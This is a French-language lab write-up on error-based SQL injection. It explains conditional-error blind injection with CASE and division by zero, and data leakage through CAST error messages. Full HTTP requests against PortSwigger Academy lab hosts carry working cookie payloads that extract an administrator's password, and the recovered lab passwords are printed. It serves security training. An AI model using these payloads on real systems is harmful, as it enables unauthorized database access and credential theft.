Description
Les injections basés sur les erreurs SQL sont basés sur la réception d’erreur lors de l’extraction ou l’interference de données sensibles d’une base de données.
Les possibilités dépendant de la configuration de la base de données et du type d’erreur donné, vous pouvez par exemple déclencher :
- On peut par exemple forcer une application à afficher une erreur en fonction d'une expression booléenne. Ce qui permet d'exploiter les données de la même façon que les blind SQL injection.
- On peut aussi par exemple déclanché une erreur qui retourne les données, ce qui transforme une blind sql injection en une visible.
Exploiter des blind SQL injection en jouant sur des erreurs conditionnelles
Certaines applications ne vont pas changer de comportements peut importe si l’ont injecte une condition valide ou non.
Il est parfois possible de forcer l’application à retourner différentes réponses en fonction d’erreur SQL. On peut par exemple créer une requête qui va afficher une erreur si la condition est vraie. Une erreur non gérée lancée par la base de données entraîne souvent une différence dans la réponse de l’application, telle qu’un message d’erreur. Cela vous permet de déduire la “véracité” de la condition injectée.
Comment ça marche ?
Imaginons que nous ayons deux requêtes envoyés avec une valeur “TrackingId” dans un cookie.
Imaginons maintenant que cette valeur est injecté via deux manières différentes :
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
The SQL CASE Expression
Les entrées utilisées utilise le mot-clef “CASE” afin de tester une condition et de retourner une expression différente si la valeur est ‘true’ :
- Dans le premier cas, l'expression ne contient pas d'erreur. Elle essaye d'évaler si 'a' == 'a'
- Dans le deuxième cas, l'expression essaye de réaliser une division par 0 ce qui cause une erreur de division par 0
Si l’application retourne une réponse différente entre les réponses, on pourra ainsi déterminer si oui ou non un condition injecter est “vraie”.
En utilisant cette technique, on peut retrouver des données en testant des chararacters, 1 par 1 :
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
Explication :
Si l'utilisateur 'Administrator' et son mot de passe a une valeur > 'm' alors la base de données va essayé de résoudre la division par 0 ce qui va causer une erreur, dans les autres cas, il ne va rien changer.Ressource utile : https://portswigger.net/web-security/sql-injection/cheat-sheet
Exemple pratique
L’on sait à l’avance que la base de données contient ceci :
- une table "users" avec deux colones : "username" et "password"
- une entrée dans la colone username comportant : "administrator"
GET /filter?category=Accessories HTTP/2
Host: 0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net
Cookie: TrackingId=eUGnl6JnpRtPnPBr' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a; session=UjoTgFAC3pcxfg4CYrKoZgMBA8mhfRpg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
On peut vérifier la taille de notre mot de passe en faisant simplement passé la condition de taille comme déclencheur de l’erreur :
GET /filter?category=Accessories HTTP/2
Host: 0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net
Cookie: TrackingId=eUGnl6JnpRtPnPBr'||(SELECT CASE WHEN LENGTH(password)=§0§ THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=UjoTgFAC3pcxfg4CYrKoZgMBA8mhfRpg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
On peut ensuite tester chaque charactère alphanumérique à chacune des positions jusqu’à 20 pour déterminer le mot de passe :
GET /filter?category=Accessories HTTP/2
Host: 0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net
Cookie: TrackingId=eUGnl6JnpRtPnPBr'||(SELECT CASE WHEN (SUBSTR(password, 20, 1) = '§0§') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=UjoTgFAC3pcxfg4CYrKoZgMBA8mhfRpg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400bf0344f7dd80e9cba600ef0091.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Le mot de passe découvert est alors : v3sklpxdyop5r9wtkill
Vérificateur de syntax : https://www.coderstool.com/sql-syntax-checker
Extraire des données sensibles via des SQL error messages parlant
Certaines bases de données mal configurés peuvent donnés des résultats dans leur message d’erreur. Ces erreurs peuvent alors donnés des informations intéressantes pour un attaquant.
Par exemple, ce message d’erreur arrive lorsque l’on injecte une ‘ dans le paramètre id :
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
On peut remarqué ici que l’on inject une ‘ dans un champ WHERE , cela rend plus facile la construction de mauvaises payloads.
Commenter le reste avec – empêchera l’invalidation de la payload
Fonction CAST
Parfois, il est possible d’induire à une application de généré un message d’erreur qui contient des données retournées par la query.
Pour celà, on peut utiliser la fonction CAST() qui sert à transformé un type de donnée en un autre type.
Exemple :
CAST((SELECT example_column FROM example_table) AS int)
Souvent les données que l’ont veut lire sont des string, essayer de les convertir vers une donnée qu’il n’est pas possible de convertir par exemple un int.
Cela produira alors un message d’erreur :
ERROR: invalid input syntax for type integer: "Example data"
Exemple pratique :
L’on sait à l’avance que la base de données contient ceci :
- une table "users" avec deux colones : "username" et "password"
- une entrée dans la colone username comportant : "administrator"
GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=2RQKRQnndsfatXZR' AND CAST((SELECT 1) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Ce qui me donne cette erreur :
ERROR: argument of AND must be type boolean, not type integer
Position: 63
Ensuite je fais une conversion que je sais possible qui ne va pas me retourner d’erreurs :
GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=2RQKRQnndsfatXZR' AND 1=CAST((SELECT 1) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Ce qui revient à faire 1 = 1.
J’essaye maintenant d’injecter la base de données pour avoir un utilisateur :
GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=2RQKRQnndsfatXZR' AND 1=CAST((SELECT username FROM users) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Ce qui me donne ce message d’erreur :
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = ‘2RQKRQnndsfatXZR’ AND 1=CAST((SELECT username FROM users) AS’. Expected char
Ce qui m’indique que la chaine est limité à un certains nombre de caractères, je supprime donc ce que contenait le champ “TrackingID=’” :
GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=' AND 1=CAST((SELECT username FROM users) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
L’erreur retourner devient alors :
ERROR: more than one row returned by a subquery used as an expression
Je limite donc à la première entrée de la table pour n’afficher qu’une seule valeur :
GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
La fonction LIMIT me permet de limité le nombre d’entré à afficher
L’erreur m’indique le nom du première utilisateur qui est :
ERROR: invalid input syntax for type integer: “administrator”
Il me suffit alors de sélectionner le premier mot de passe qui sera celui qui appartient à “administrator” pour le récupérer.
GET / HTTP/2
Host: 0ab1000204ec09f4841e140200e600e4.web-security-academy.net
Cookie: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int) --; session=r10DzZ6l4yTL5Et9cmmsTDCepv4aIm9w
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab1000204ec09f4841e140200e600e4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Ce qui me donne ce ceci :
ERROR: invalid input syntax for type integer: “jwbzon4rz5honmz854mk”